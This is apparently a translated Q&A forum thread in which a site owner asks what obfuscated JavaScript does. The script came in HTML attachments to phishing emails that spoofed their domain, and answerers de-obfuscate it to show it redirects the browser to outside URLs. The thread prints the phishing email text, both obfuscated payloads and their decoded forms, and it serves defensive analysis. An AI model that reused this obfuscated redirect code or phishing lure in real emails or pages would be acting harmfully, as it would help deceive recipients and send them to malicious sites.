2010-06-11 83 views
4

我剛剛發現了一個垃圾郵件發送者是從我們的域名發送電子郵件,假裝我們說:這個Javascript是做什麼的?

尊敬的客戶,

此電子郵件是由ourwebsite.com 發通知您我們暫時拒絕訪問您的帳戶 。

我們有理由相信您的 帳戶可能已被其他人訪問 。請運行附件 並按照說明操作。

(C)ourwebsite.com(我改變了)

附加的文件具有以下JavaScript的HTML文件:

<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> 

另一封電子郵件有這樣的:

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> 

任何人都可以告訴我它做了什麼嗎?因此,我們可以看到,如果我們有一個漏洞,如果我們需要告訴我們的客戶吧......

感謝

回答

5

答:

腳本執行

document.location.href = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

它還包含大量無用的行來隱藏腳本的真實目的。

分析

在這裏它被解壓縮。

function mD() {}; 
this.aB = 43719; 
mD.prototype = { 
    i: function() { 
     var w = new Date(); 
     this.j = ''; 
     var x = function() {}; 
     var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 
     var d = new Date(); 
     y = ""; 
     aL = ""; 
     var f = document; 
     var s = function() {}; 
     this.yE = ""; 
     aN = ""; 
     var dL = ''; 
     var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
     this.v = "v"; 
     var q = 27427; 
     var m = new Date(); 
     iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
     dE = ''; 
     k = ""; 
     var qY = function() {}; 
    } 
}; 
xO = false; 
var b = new mD(); 
yY = ""; 
b.i(); 
this.xT = ''; 

清理迷惑和添加有意義的名字,就變成

function TempClass() {}; 
this.aB = 43719; 
TempClass.prototype = { 
    doIt: function() { 
     var w = new Date(); 
     this.j = ''; 
     var x = function() {}; 
     var a = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

     var d = new Date(); 
     y = ""; 
     aL = ""; 
     var f = document; 
     var s = function() {}; 
     this.yE = ""; 
     aN = ""; 
     var dL = ''; 
     var iD = f['location']; 
     this.v = "v"; 
     var q = 27427; 
     var m = new Date(); 
     iD['href'] = a; 
     dE = ''; 
     k = ""; 
     var qY = function() {}; 
    } 
}; 
xO = false; 
var b = new TempClass(); 
yY = ""; 
b.doIt(); 
this.xT = ''; 

刪除所有無用線,就成了

function TempClass() {}; 

TempClass.prototype = { 
    doIt: function() { 
     var a = "http://mvblaw.com/z.htm"; //Evil site (I assume) 

     var f = document; 
     var iD = f['location']; 
     iD['href'] = a; 
    } 
}; 

var b = new TempClass(); 
b.doIt(); 
+0

http:// mvblaw。在regexp之後的com/z.htm。它似乎要做的就是重定向到該地址。 – Glenn 2010-06-11 01:26:15

+0

鏈接已關閉(標準Apache 404);你不需要擔心它。 – SLaks 2010-06-11 01:28:03

+0

所以你不認爲這個目標特別是我們的網站呢?這只是一個通用的電子郵件,他們使用我們的名字? – 2010-06-11 01:29:54

3

沒有天才,他們:

hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 

h t t p :// m v b l a w . c o m/z . h t m 


f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 

    l o c a t i o n 

iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 

    h r e f 

甚至沒有需要通過正則表達式運行它:)

我會假設他們黑客mvblaw並偷偷在那裏有效載荷頁面。任何有VM的人都想看看它做了什麼?

+0

它似乎是第二個腳本發送到lendermedia。 com/images/z.htm,這是一家加拿大藥店,它也試圖加載一些java代碼。 – 2010-06-11 01:29:23

0

基本上,它似乎設置(document['location'])['href'](或,在正常說話,document.location.href)至http://mvblaw.com/z.htm

混淆代碼非常簡單,只需用什麼代替噪聲字符:

var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, ''); 
    // a = http://mvblaw.com/z.htm 
var f=document; 
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
    // iD = document.location 
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
    // document.location.href = a (the URL above). 
3

的腳本已的無用的東西很多只是爲了製造混亂,劇本的主要部件:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    // read between every two letters: 
    var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg' 
       .replace(/[gJG,\<]/g, ''); 
    var f = document; 
    var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')]; 
    iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a; 
    } 
}; 
var b = new mD(); 
b.i(); 

如果我們清理更多:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    var a = 'http://mvblaw.com/z.htm'; 
    var f = document; 
    var iD = f['location']; 
    iD['href'] = a; 
    } 
}; 
var b = new mD(); 
b.i(); 

以及更多:

function mD() {}; 
mD.prototype = { 
    i: function() { 
    document.location.href = 'http://mvblaw.com/z.htm'; 
    } 
}; 
var b = new mD(); 
b.i();